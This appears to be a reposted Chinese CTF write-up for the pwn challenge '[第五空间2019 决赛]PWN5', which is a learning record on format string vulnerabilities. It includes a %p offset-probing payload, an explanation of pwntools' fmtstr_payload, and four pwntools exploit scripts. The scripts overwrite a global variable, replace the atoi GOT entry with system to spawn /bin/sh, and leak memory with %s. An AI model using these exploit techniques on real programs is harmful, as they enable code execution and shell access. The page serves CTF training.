码农知识堂 - 1000bd
  •   Python
  •   PHP
  •   JS/TS
  •   JAVA
  •   C/C++
  •   C#
  •   GO
  •   Kotlin
  •   Swift
  • [第五空间2019 决赛]PWN5


    格式化字符串漏洞学习记录

    CTF pwn题之格式化字符串漏洞详解___lifanxin的博客-CSDN博客_pwn 格式化字符串漏洞

    printf/sprintf/snprintf等格式化打印函数都是接受可变参数的,而一旦程序编写不规范,比如正确的写法是:printf("%s", pad),写成了:printf(pad),此时就存在格式化字符串漏洞。

    利用payload来寻找输入字符串到栈顶指针的偏移

    aaaa-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p

    栈是一种特殊的线性表,是一种只允许在表的一端进行插入或删除操作的线性表。表中允许进行插入、删除操作的一端称为栈顶。表的另一端称为栈底。栈顶的当前位置是动态的,对栈顶当前位置的标记称为栈顶指针。当栈中没有数据元素时,称之为空栈。栈的插入操作通常称为进栈或入栈,栈的删除操作通常称为退栈或出栈。

    1. %s 打印地址内容
    2. %n 写四字节

    fmtstr_payload(offset, writes, numbwritten=0, write_size='byte')

    offset:格式化字符串的偏移;

    writes:需要利用%n写入的数据,采用字典形式,就写成{目标地址: 要写入的数据};要将printf的GOT数据改为system函数地址,就写成{printfGOT: systemAddress}

    numbwritten:已经输出的字符个数,这里没有,为0,采用默认值即可;#这里是要考虑printf参数的原因

    write_size:写入方式,是按字节(byte)、按双字节(short)还是按四字节(int),对应着hhn、hn和n,默认值是byte,即按hhn写。
    fmtstr_payload函数返回的就是payload

    exp1:

    1. from pwn import *
    2. p=process('./pwn')
    3. dword_804c044=0x0804C044
    4. payload=fmtstr_payload(10,{dword_804c044:4})
    5. p.sendlineafter("your name:",payload)
    6. p.sendlineafter("your passwd",str(4))
    7. p.interactive()

    exp2:

    1. from pwn import *
    2. p = process("./pwn")
    3. elf=ELF('./pwn')
    4. atoi_got=elf.got['atoi']
    5. system_plt=elf.plt['system']
    6. payload=fmtstr_payload(10,{atoi_got:system_plt})
    7. p.sendline(payload)
    8. p.sendline('/bin/sh')
    9. p.interactive()

    exp3:

    1. from pwn import *
    2. p=process('./pwn')
    3. dword_addr=0x804C044
    4. p.recvuntil('your name:')
    5. payload=p32(dword_addr)+b'%10$n'
    6. p.sendline(payload)
    7. p.recvuntil("your passwd:")
    8. p.sendline(b'4')
    9. p.interactive()

    exp4:

    1. from pwn import *
    2. p=process('./pwn')
    3. dword_addr=0x804C044
    4. payload=p32(dword_addr)+b'%10$s'
    5. p.sendline(payload)
    6. p.recvuntil("Hello,")
    7. p.recv(4)
    8. number=u32(p.recv(4))
    9. p.sendline(str(number))
    10. p.interactive()

  • 相关阅读:
    色温曲线坐标轴的选取:G/R、G/B还是R/G、B/G ?
    从源码级深入剖析Tomcat类加载原理
    SparkStreaming (六) --------- 优雅关闭
    【第一阶段:java基础】第3章:java运算符
    第十四章 配置国家语言支持 (NLS)
    WPF自定义控件与样式(5)-Calendar/DatePicker日期控件自定义样式及扩展
    【蓝桥杯物联网赛项学习日志】Day4 关于USART/UART
    Linux多线程C++版(七) 线程互斥方式-----读写锁
    Systrace 线程 CPU 运行状态分析技巧 - Running 篇
    matlab 13折线法数据量化编码与解码
  • 原文地址:https://blog.csdn.net/m0_63253040/article/details/126839618
  • 最新文章
  • 攻防演习之三天拿下官网站群
    数据安全治理学习——前期安全规划和安全管理体系建设
    企业安全 | 企业内一次钓鱼演练准备过程
    内网渗透测试 | Kerberos协议及其部分攻击手法
    0day的产生 | 不懂代码的"代码审计"
    安装scrcpy-client模块av模块异常,环境问题解决方案
    leetcode hot100【LeetCode 279. 完全平方数】java实现
    OpenWrt下安装Mosquitto
    AnatoMask论文汇总
    【AI日记】24.11.01 LangChain、openai api和github copilot
  • 热门文章
  • 十款代码表白小特效 一个比一个浪漫 赶紧收藏起来吧!!!
    奉劝各位学弟学妹们,该打造你的技术影响力了!
    五年了,我在 CSDN 的两个一百万。
    Java俄罗斯方块,老程序员花了一个周末,连接中学年代!
    面试官都震惊,你这网络基础可以啊!
    你真的会用百度吗?我不信 — 那些不为人知的搜索引擎语法
    心情不好的时候,用 Python 画棵樱花树送给自己吧
    通宵一晚做出来的一款类似CS的第一人称射击游戏Demo!原来做游戏也不是很难,连憨憨学妹都学会了!
    13 万字 C 语言从入门到精通保姆级教程2021 年版
    10行代码集2000张美女图,Python爬虫120例,再上征途
Copyright © 2022 侵权请联系2656653265@qq.com    京ICP备2022015340号-1
正则表达式工具 cron表达式工具 密码生成工具

京公网安备 11010502049817号